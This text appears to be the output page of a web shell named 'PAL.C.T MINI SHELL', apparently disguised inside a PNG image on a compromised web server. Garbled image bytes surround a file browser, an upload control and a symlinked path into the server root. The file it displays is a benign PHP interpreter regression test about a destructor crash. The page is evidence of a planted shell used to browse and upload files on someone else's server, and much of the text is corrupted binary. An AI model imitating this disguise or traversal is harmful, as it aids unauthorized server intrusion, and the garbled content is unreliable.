php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/php-7.1.11/Zend/tests/
upload
files >> /var/www/html/sub/images/sym/root/php-7.1.11/Zend/tests/bug32799.phpt

--TEST--
Bug #32799 (crash: calling the corresponding global var during the destruct)
--FILE--
<?php
class test{
  public $c=1;
  function __destruct (){
  	if (!isset($GLOBALS['p'])) {
  		echo "NULL\n";
  	} else {
	    $GLOBALS['p']->c++; // no warning
	    print $GLOBALS['p']->c."\n"; // segfault
	  	var_dump($GLOBALS['p']);
	}
  }
}
$p=new test;
$p=null; //destroy the object by a new assignment (segfault)
?>
--EXPECT--
NULL
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`